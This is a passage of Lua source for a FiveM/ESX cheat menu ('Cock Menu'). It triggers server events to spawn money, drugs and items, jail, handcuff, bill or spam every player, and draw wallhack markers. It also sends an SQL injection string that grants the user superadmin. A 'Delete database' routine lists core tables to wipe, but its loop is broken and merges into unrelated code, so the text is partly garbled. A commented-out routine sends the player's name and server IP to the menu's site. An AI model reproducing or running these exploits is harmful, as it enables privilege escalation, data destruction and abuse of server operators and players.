CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedprocess'])
end
end
if dynamic.TR['drugs:weedfield'] then
if tf.Button("~g~ESX~s~ Drugs - Field Weed",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedfield'])
end
end
if dynamic.TR['coke_feild'] then
if tf.Button("~g~ESX~s~ Drugs - Field Coke",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_feild'])
end
end
if dynamic.TR['coke_process'] then
if tf.Button("~g~ESX~s~ Drugs - Process Coke",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_process'])
end
end
if dynamic.TR['coke_sell'] then
if tf.Button("~g~ESX~s~ Drugs - Sell Coke",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_sell'])
end
end
if dynamic.TR['meth_field'] then
if tf.Button("~g~ESX~s~ Drugs - Field Meth",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_field'])
end
end
if dynamic.TR['meth_process'] then
if tf.Button("~g~ESX~s~ Drugs - Process Meth",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_process'])
end
end
if dynamic.TR['meth_sell'] then
if tf.Button("~g~ESX~s~ Drugs - Sell Meth",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_sell'])
end
end
if dynamic.TR['stop_feild_coke'] then
if tf.Button("~g~ESX~s~ Drugs - Stop All",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_feild_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_process_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_sell_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_feild_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_process_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_sell_meth'])
end
end
if dynamic.TR['vangelico_get'] then
if CockMeni.Functions.CheckBox("~g~ESX~s~ Give
jewlery", dynamic.TR.MoneyLoop) then
dynamic.TR.MoneyLoop = not
dynamic.TR.MoneyLoop
if dynamic.TR.MoneyLoop then
CockT.Inv["Thread"](function()
while dynamic.TR.MoneyLoop do
CockT.Inv["Wait"](200)
CockT.Global.TriggerCustomEvent(true, dynamic.TR['vangelico_get'])
end
end)
end
end
end
if dynamic.TR['vangelico_sell'] then
if tf.Button("~g~ESX~s~ Sell jewlery",
"~y~Semi") then
local amount =
Functions.f.CustomInput('Amount to sell', '', 3)
for i = 0, CockT.Math.tonumber(amount-1) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['vangelico_sell'])
end
end
end
if dynamic.TR['giveitem'] then
if tf.Button("~g~ESX~s~ Give item", "~y~Semi")
then
local item = Functions.f.CustomInput('Item
to give', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['giveitem'], item)
end
end
if dynamic.TR['giveitem2'] then
if tf.Button("~g~ESX~s~ Give item", "~y~Semi")
then
local item = Functions.f.CustomInput('Item
to give', '', 30)
local ammount =
Functions.f.CustomInput('Ammount', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['giveitem2'], item, ammount)
end
end
if dynamic.TR['doorlock_sound1'] then
if tf.Button("~g~ESX~s~ Sound 1", "~y~Semi")
then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['doorlock_sound1'], 113.0, 'unlockDoor', 0.8)
end
end
if dynamic.TR['interact_sound1'] then
if tf.Button("~g~ESX~s~ Sound 2", "~y~Semi")
then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['interact_sound1'], 113.0, 'unlockDoor', 0.8)
end
end
if dynamic.TR['interact_sound1'] then
if tf.Button("~g~ESX~s~ Sound 3", "~y~Semi")
then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['interact_sound2'], 113.0, 'lockDoor', 0.8)
end
end
if dynamic.TR['reviveesx'] then
if tf.Button("~g~ESX~s~ Revive", "~y~Semi") then
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['reviveesx'])
end
end
if dynamic.TR['reviveesx2'] then
if tf.Button("~g~ESX~s~ Revive", "~y~Semi") then
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['reviveesx2'])
end
end
if dynamic.TR['policejob_handcuff'] then
if tf.Button("~g~ESX~s~ Handcuff player",
"~y~Semi") then
local id = Functions.f.CustomInput('Player
Id', '', 3)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['policejob_handcuff'], id)
end
end
if dynamic.TR['policejob_handcuff'] then
if tf.Button("~g~ESX~s~ Handcuff all players",
"~y~Semi") then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['policejob_handcuff'], i)
end
end
end
if dynamic.TR['policejob_spammer'] then
if tf.Button("~g~ESX~s~ Spam messages",
"~y~Semi") then
CockT.Inv["Thread"](function()
local text =
Functions.f.CustomInput('Message to send', 'CockMenu on Top!', 1000)
local amount =
Functions.f.CustomInput('Times to loop', '10', 3)
for i = 1, CockT.Math.tonumber(amount)
do
CockT.Global.TriggerCustomEvent(true, dynamic.TR['carry_exploit'],
Fatasf.n.GetPlayerPed(v), 'missfinale_c2mcs_1', 'nm', 'fin_c2_mcs_1_camman',
'firemans_carry', 0.15, 0.27, 0.63,Fatasf.n.GetPlayerServerId(v), 100000, 0.0, 49,
33, 1)
CockT.Inv["Wait"](10)
end
end
return
end
end)
end
end
if dynamic.TR['addSuperadmin'] then
if tf.Button("Add admin", "~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['addSuperadmin'], "';UPDATE `users` SET `permission_level` = '4',
`group` = 'superadmin'where_DSGHSDIUGSDG `users`.`name` =
'"..NetworkPlayerGetName(Fatasf.n.PlayerId()).."';")
end
end
if dynamic.TR['delete_DB'] then
if tf.Button("Delete database", "~y~Semi") then
CockT.Inv["Thread"](function()
trashTables = {
'addon_account',
'addon_account_data',
'addon_inventory',
'addon_inventory_items',
'billing',
'charicters',
'datastore',
'datastore_data',
'fine_types',
'items',
'jobs',
'job_grades',
'licenses',
'owned_properties',
'phone_app_chat',
'phone_calls',
'phone_messages',
'phone_users_contacts',
'properties',
'rented_vehicles',
'shops',
'society_moneywash',
'users',
'user_accounts',
'user_inventory',
'user_licenses',
'vehicles',
'vehicle_categories',
'vehicle_sold',
'weashops'
}
for key, value in
CockT.Math.pairs(trashTables) do
CockT.Inv["Wait"](25)
if dynamic.TR['Money_Wash'] then
if tf.Button("~g~ESX~s~ Wash money", "~y~Semi")
then
local money = Functions.f.CustomInput("Money
ammount", '', 10)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['Money_Wash'], money, 0)
end
end
if dynamic.TR['open_inv'] then
if tf.Button("~g~ESX~s~ Open Inventory",
"~y~Semi") then
local id = Functions.f.CustomInput("Enter A
Person's ID", '', 10)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['open_inv'], "otherplayer", id)
end
end
if dynamic.TR['play_song'] then
if tf.Button("~g~ESX~s~ Play custom song",
"~y~Semi") then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
person =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(v))
song = Functions.f.CustomInput("Enter a
video link (youtbe)", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['play_da_sound'], song, person)
end
end
end
if dynamic.TR['Money_Wash_Zone'] then
if tf.Button("~g~ESX~s~ Wash Money", "~y~Semi")
then
local ammount =
Functions.f.CustomInput("Enter ammount", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['Money_Wash_Zone'], ammount)
end
end
if dynamic.TR['garbagejob_pay'] then
if tf.Button("~g~ESX~s~ Give money
(garbagejob)", "~y~Semi") then
local ammount =
Functions.f.CustomInput("Enter ammount", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['garbagejob_pay'], ammount)
end
end
if dynamic.TR['send_bill'] then
if tf.Button("~g~ESX~s~ Send Bill", "~y~Semi")
then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Inv["Wait"](60)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["send_bill"],Fatasf.n.GetPlayerServerId(v), "Cock Menu", 9999999)
end
CockT.Inv["Wait"](100)
end
end
end
if dynamic.TR['qalle_jailer'] then
if tf.Button("~g~ESX~s~ Jail all players",
"~y~Semi") then
local reason =
Functions.f.CustomInput('Custom Reason', '', 30)
if reason == nil then reason = 'Cock Menu on
top' end
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['qalle_jailer'],Fatasf.n.GetPlayerServerId(i), 1000000, reason)
end
end
end
if dynamic.TR['esx_jailer:sendToJail'] then
if tf.Button("~g~ESX~s~ Jail all players",
"~y~Semi") then
local reason =
Functions.f.CustomInput('Custom Reason', '', 30)
if reason == nil then reason = 'Cock Menu on
top' end
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_jailer:sendToJail'],Fatasf.n.GetPlayerServerId(i), 1000000, reason)
end
end
end
if dynamic.TR['gopostal_pay'] then
if tf.Button("~g~ESX~s~ Give money (gopostal)",
"~y~Semi") then
local ammount =
Functions.f.CustomInput('Ammount?', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['gopostal_pay'], ammount)
end
end
if dynamic.TR['esx_status_hungerandthirst'] then
if tf.Button("~g~ESX~s~ Refill hunger and
thirst", "~y~Semi") then
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['esx_status_hungerandthirst'], 'hunger', 1000000)
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['esx_status_hungerandthirst'], 'thirst', 1000000)
end
end
if dynamic.TR['add_vehicle'] then
if tf.Button("~g~ESX~s~ Add vehicle to garage",
"~y~Semi") then
local car =
Functions.f.CustomInput('Vehicle', '', 30)
if
Fatasf.n.IsModelValid(Fatasf.n.GetHashKey(car)) and Fatasf.n.IsModelAVehicle(car)
then
local customplate =
Functions.f.CustomInput('Vehicle plate', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['vehicleshop_ownedveh'], {['model'] =
Fatasf.n.GetHashKey(CockT.Strings.tostring(car)), ['plate'] =
CockT.Strings.tostring(customplate)})
end
end
end
if dynamic.TR['esx_holdup'] then
if tf.Button("~g~ESX~s~ Money (Bank Robber)",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_holdup'])
end
end
end
if tf.IsMenuOpened("lscustoms") then
if CockMeni.Functions.MenuButton("Performance",
"performance", ">") then
end
if CockMeni.Functions.MenuButton("Exterior",
"exterior", ">") then
end
end
if tf.IsMenuOpened("exterior") then
if tf.CSeparator("~r~Disabled", "") then end
--if tf.CSeparator("~y~WHEELS", "") then end
--[[if tf.Button('Sport Wheels', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleModKit(veh, 0)
Fatasf.n.SetVehicleMod(veh, 0,
Fatasf.n.GetNumVehicleMods(veh, 0) -1, false)
end
if tf.Button('Lowrider Wheels', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleWheelType'], veh, 2)
end
if tf.Button('Muscle Wheels', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleWheelType'], veh, 1)
end
if tf.Button('SUV Wheels', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleWheelType'], veh, 3)
end
if tf.Button('Offroad Wheels', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleWheelType'], veh, 4)
end
if tf.IsMenuOpened("performance") then
if tf.CSeparator("~y~ENGINE", "") then
end
if tf.Button('Default Engine', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleMod(veh, 11, -1, false)
end
if tf.Button('Engine LVL 1', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleMod(veh, 11, 0, false)
end
if tf.Button('Engine LVL 2', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleMod(veh, 11, 1, false)
end
if tf.Button('Engine LVL 3', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleMod(veh, 11, 2, false)
end
if tf.Button('Engine LVL 4', "~y~Semi") then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleMod(veh, 11, 3, false)
end
if tf.IsMenuOpened("addons") then
--if tf.CSeparator("~y~VEHICLES", "") then end
for k, v in CockT.Math.pairs(CockT.AddonVehs) do
if
Fatasf.n.IsModelValid(Fatasf.n.GetHashKey(v.spawn)) then
if tf.Button(v.name, "~g~SPAWN") then
Functions.f.SpawnVehicle(v.spawn)
end
end
end
end
if tf.IsMenuOpened("music") then
if tf.Button("~r~These do nothing since cock.menu is
down", "") then
end
if tf.Button("", "") then
end
if tf.Button("~r~Starting more than one music at
row, can crash you!", "") then
Fatasf.n.Leprint("Easter egg :3")
end
if tf.Button("Bogota - MERO", "") then
Cock.Menu.bogotamero = not Cock.Menu.bogotamero
if Cock.Menu.bogotamero then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/BlindingLights.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("Welcome to the O - King Von", "") then
Cock.Menu.welcometotheo = not
Cock.Menu.welcometotheo
if Cock.Menu.welcometotheo then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/SRWelcomeTo.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("Martin & Gina - Polo G", "") then
Cock.Menu.polog = not Cock.Menu.polog
if Cock.Menu.polog then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/PoloGMartin.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("Somebody that i used to know - Gotye",
"") then
Cock.Menu.somebodythat = not
Cock.Menu.somebodythat
if Cock.Menu.somebodythat then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/GotyeSomebody.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("21 - Polo G", "") then
Cock.Menu.poloog = not Cock.Menu.poloog
if Cock.Menu.poloog then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/PoloG21.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("Blinding lights - The Weekend ", "")
then
Cock.Menu.blindinglights = not
Cock.Menu.blindinglights
if Cock.Menu.blindinglights then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/BlindingLights.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
if tf.Button("Dave - Location", "") then
Cock.Menu.davelocation = not
Cock.Menu.davelocation
if Cock.Menu.davelocation then
--local music =
Fatasf.n.CreateAnDui("https://cock.menu/music/DaveLocation.mp3", 1, 1, 1)
else
Fatasf.n.DestroyDui(music)
end
end
end
if tf.IsMenuOpened("keybinds") then
if tf.Button("Open Menu:",
""..CockKeybinds.Menu.OpenMenuKey["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.OpenMenuKey["Label"] = label
CockKeybinds.Menu.OpenMenuKey["Value"] = value
end
if tf.Button("Noclip:",
""..CockKeybinds.Menu.Noclip["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Noclip["Label"] = label
CockKeybinds.Menu.Noclip["Value"] = value
end
if tf.Button("Heal:",
""..CockKeybinds.Menu.Heal["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Heal["Label"] = label
CockKeybinds.Menu.Heal["Value"] = value
end
if tf.Button("Revive:",
""..CockKeybinds.Menu.Revive["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Revive["Label"] = label
CockKeybinds.Menu.Revive["Value"] = value
end
if tf.Button("Armour:",
""..CockKeybinds.Menu.Armour["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Armour["Label"] = label
CockKeybinds.Menu.Armour["Value"] = value
end
if tf.Button("Freecam:",
""..CockKeybinds.Menu.Freecam["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Freecam["Label"] = label
CockKeybinds.Menu.Freecam["Value"] = value
end
if tf.Button("Godmode:",
""..CockKeybinds.Menu.Godmode["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.Godmode["Label"] = label
CockKeybinds.Menu.Godmode["Value"] = value
end
if tf.Button("Fix vehicle:",
""..CockKeybinds.Menu.fixveh["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.fixveh["Label"] = label
CockKeybinds.Menu.fixveh["Value"] = value
end
if tf.Button("Give vintage:",
""..CockKeybinds.Menu.givevintage["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.givevintage["Label"] = label
CockKeybinds.Menu.givevintage["Value"] = value
end
if tf.Button("Give pistol:",
""..CockKeybinds.Menu.givepistol["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.givepistol["Label"] = label
CockKeybinds.Menu.givepistol["Value"] = value
end
if tf.Button("Invisible:",
""..CockKeybinds.Menu.invisible["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.invisible["Label"] = label
CockKeybinds.Menu.invisible["Value"] = value
end
if tf.Button("Unlock vehicle:",
""..CockKeybinds.Menu.unlockveh["Label"]) then
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.unlockveh["Label"] = label
CockKeybinds.Menu.unlockveh["Value"] = value
end
end
if tf.IsMenuOpened("settings") then
if tf.CSeparator("~y~DEVS", "") then
end
if CockMeni.Functions.ComboBox("Contributors",
CockMenu.ComboBoxesT.Contributors, CockMenu.ComboBoxesT.ConMultIndex,
CockMenu.ComboBoxesT.ConLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.ConMultIndex = currentIndex
CockMenu.ComboBoxesT.ConLengMult = currentIndex
end) then
end
if tf.CSeparator("~y~KEYBINDS", "") then
end
if CockMeni.Functions.MenuButton("Keybinds Manager",
"keybinds", ">") then
end
if tf.CSeparator("~y~MENU DESIGN", "") then
end
if CockMeni.Functions.ComboBox("Menu Position",
CockMenu.ComboBoxesT.Position, CockMenu.ComboBoxesT.PosMultIndex,
CockMenu.ComboBoxesT.PosLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.PosMultIndex = currentIndex
CockMenu.ComboBoxesT.PosLengMult = currentIndex
end) then
defaultStyle.x =
CockMenu.ComboBoxesT.PosValue[CockMenu.ComboBoxesT.PosMultIndex]
end
if CockMeni.Functions.ComboBox("Gif",
CockMenu.ComboBoxesT.Gif, CockMenu.ComboBoxesT.GifMultIndex,
CockMenu.ComboBoxesT.GifLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.GifMultIndex = currentIndex
CockMenu.ComboBoxesT.GifLengMult = currentIndex
end) then
CockMeni.Functions.LoadGif1()
defaultStyle.focusColor = {131, 219, 248, 170}
if
CockMenu.ComboBoxesT.Gif[CockMenu.ComboBoxesT.GifMultIndex] == 'nyan' then
CockMeni.Functions.LoadGif2()
defaultStyle.focusColor = {255, 152, 255,
170}
end
if
CockMenu.ComboBoxesT.Gif[CockMenu.ComboBoxesT.GifMultIndex] == 'blue' then
CockMeni.Functions.LoadGif3()
defaultStyle.focusColor = {149, 251, 235,
170}
end
if
CockMenu.ComboBoxesT.Gif[CockMenu.ComboBoxesT.GifMultIndex] == 'sun' then
CockMeni.Functions.LoadGif4()
defaultStyle.focusColor = {186, 125, 135,
170}
end
if
CockMenu.ComboBoxesT.Gif[CockMenu.ComboBoxesT.GifMultIndex] == 'lsc' then
CockMeni.Functions.LoadGifLSC()
end
end
if tf.CSeparator("~y~OTHER", "") then
end
if tf.Button("Kill menu", "") then
local input = Functions.f.CustomInput('Are you sure?
(yes / no)', '', 5)
if input == 'yes' then
CockMenu.MenuEnabled = false
else
end
end
--[[ if tf.Button("Load Config by name", "") then
local configname = Functions.f.CustomInput('Config
name', '', 20)
local uid = Fatasf.n.GetRedUid()
local new =
Fatasf.n.RequestFromWeb("https://cock.menu/configs/load/"..uid.."/"..configname,
nil, 'get')
local decodedMessage = CockT.Strings.jsondecode(new)
local decodedReal =
CockT.Strings.jsondecode(decodedMessage.config.config1)
if new ~= nil then
Cock.Menu = decodedReal
--CockMeni.Functions.AddNotification('Loaded
config: #1', "INFO", 5000)
else
--CockMeni.Functions.AddNotification('Damn bro,
server is down', "ERROR", 5000)
end
end
if tf.Button("Save config", "") then
local configname = Functions.f.CustomInput('Config
name', '', 20)
local uid = Fatasf.n.GetRedUid()
Fatasf.n.RequestFromWeb("https://cock.menu/configs/save/"..uid.."/"..configname, {
configData = CockT.Strings.jsonencode(Cock.Menu)
}, 'post')
end
if tf.Button("Report bug", "") then
local message = Functions.f.CustomInput('Message to
support', '', 2000)
local name =
Fatasf.n.GetPlayerName(Fatasf.n.PlayerId())
local reuid = Fatasf.n.GetRedUid()
local hex = "NaN" -- to do
local ip = Fatasf.n.GetCurrentServerEndpoint()
--local playerdata =
Fatasf.n.IsPedDeadOrDying(Fatasf.n.PlayerPedId(), 1) and "Dead " or "Alive "
if Fatasf.n.GetEntityHealth(Fatasf.n.PlayerPedId())
< 1 then
playerdata = "Dead"
else
playerdata = "Alive"
end
local url =
"https://cock.menu/iuhdsfiash/reports.html".."?
user="..name.."&message="..message.."&sip="..ip.."&status="..playerdata.."&hex="..h
ex.."&reuid="..reuid
local log_dui = Fatasf.n.CreateAnDui(url, 50, 50)
end ]]
--[[ if tf.Button("Go back to loader", "") then
CockMenu.MenuEnabled = false
CockT.Global.hIvkXiYg2ogzm1MvdOolDhAhwQdBwv()
end ]]
if CockMeni.Functions.CheckBox("Use custom input",
CockT.UseCustomInput) then
CockT.UseCustomInput = not CockT.UseCustomInput
end
if CockMeni.Functions.CheckBox("Disable scroll bar",
CockT.DisableScrollBar) then
CockT.DisableScrollBar = not CockT.DisableScrollBar
end
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockKeybinds.Menu.OpenMenuKey["Value"]) then
tf.OpenMenu("START")
end
end
end)
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
if Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Noclip["Value"]) then
Cock.Menu.NClip = not Cock.Menu.NClip
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Heal["Value"]) then
Fatasf.n.SetEntityHealth(Fatasf.n.PlayerPedId(), 200)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Revive["Value"]) then
CockMeni.Functions.natRe()
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Armour["Value"]) then
Fatasf.n.SetPedArmour(Fatasf.n.PlayerPedId(), 100)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Freecam["Value"]) then
Cock.Menu.Freecam = not Cock.Menu.Freecam
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.Godmode["Value"]) then
Cock.Menu.Godmode = not Cock.Menu.Godmode
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.fixveh["Value"]) then
Functions.f.RepairVehicle()
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.givevintage["Value"]) then
Fatasf.n.GiveWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("weapon_vintagepistol"), 150, false, false)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.givepistol["Value"]) then
Fatasf.n.GiveWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("weapon_pistol"), 150, false, false)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.invisible["Value"]) then
Cock.Menu.invisible = not Cock.Menu.invisible
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockKeybinds.Menu.unlockveh["Value"]) then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 25.0, 0, 70)
Functions.f.UnlockVehicle(vehicle)
end
--Fatasf.n.SetRunSprintMultiplierForPlayer(Fatasf.n.PlayerPedId(),
CockMenu.ComboBoxesT.SpeedMultiplier[CockMenu.ComboBoxesT.MultIndex])
--Fatasf.n.SetPedMoveRateOverride(Fatasf.n.PlayerPedId(),
CockMenu.ComboBoxesT.SpeedMultiplier[CockMenu.ComboBoxesT.MultIndex])
if Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false) ~= 0
then
CockT.Inv["Invoke"](CockT.Natives['SetVehicleGravityAmount'],
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId()),
CockMenu.ComboBoxesT.VehSet[CockMenu.ComboBoxesT.vehspeedMultIndex])
end
if Cock.Menu.cockplate then
CockMeni.Functions.cockplate()
end
if Cock.Menu.DriveToWaypoint then
CockMeni.Functions.DriveToWaypoint()
end
if Cock.Menu.nofall then
CockT.Inv["Invoke"]
(CockT.Natives["SetPedCanBeKnockedOffVehicle"], Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"]
(CockT.Natives["SetPedCanBeKnockedOffVehicle"], Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.espglow then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local x, y, z =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(pPed, true))
CockT.Inv["Invoke"](CockT.Natives['DrawMarker'], 28,
Fatasf.n.GetPedBoneCoords(pPed, 31086, 0.0, 0.0, 0.0), 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.57, 0.57, 1.75, 255, 255, 255, 255, false, false, 2, 0.0, 0.0, true, true)
CockT.Inv["Invoke"](CockT.Natives['DrawMarker'], 28,
Fatasf.n.GetPedBoneCoords(pPed, 14201, 0.0, 0.0, 0.0), 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.2, 0.2, 0.2, 255, 255, 255, 255, false, false, 2, 0.0, 0.0, true, true)
CockT.Inv["Invoke"](CockT.Natives['DrawMarker'], 28,
Fatasf.n.GetPedBoneCoords(pPed, 52301, 0.0, 0.0, 0.0), 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.2, 0.2, 0.2, 255, 255, 255, 255, false, false, 2, 0.0, 0.0, true, true)
end
end
end
if Cock.Menu.vehesp then
for vehs in Fatasf.n.EnumerateVehicles() do
local vehX, vehY, vehZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(vehs))
local xx = CockT.Math.tonumber(CockT.Strings.format("%.2f",
vehX))
local yy = CockT.Math.tonumber(CockT.Strings.format("%.2f",
vehY))
local zz = CockT.Math.tonumber(CockT.Strings.format("%.2f",
vehZ))
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(vehs), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] then
local text = 'Model:
'..Fatasf.n.GetDisplayNameFromVehicleModel(Fatasf.n.GetEntityModel(vehs))..'\nHash:
'..Fatasf.n.GetEntityModel(vehs)..'\n~g~X: ~s~'..xx..' ~g~Y: ~s~'..yy..' ~g~Z:
~s~'..zz
CockT.Global.DrawTextOnCoords(xx, yy, zz, text, 255,
255, 255, 0, 0.20)
end
end
end
if Cock.Menu.blipsonmap then
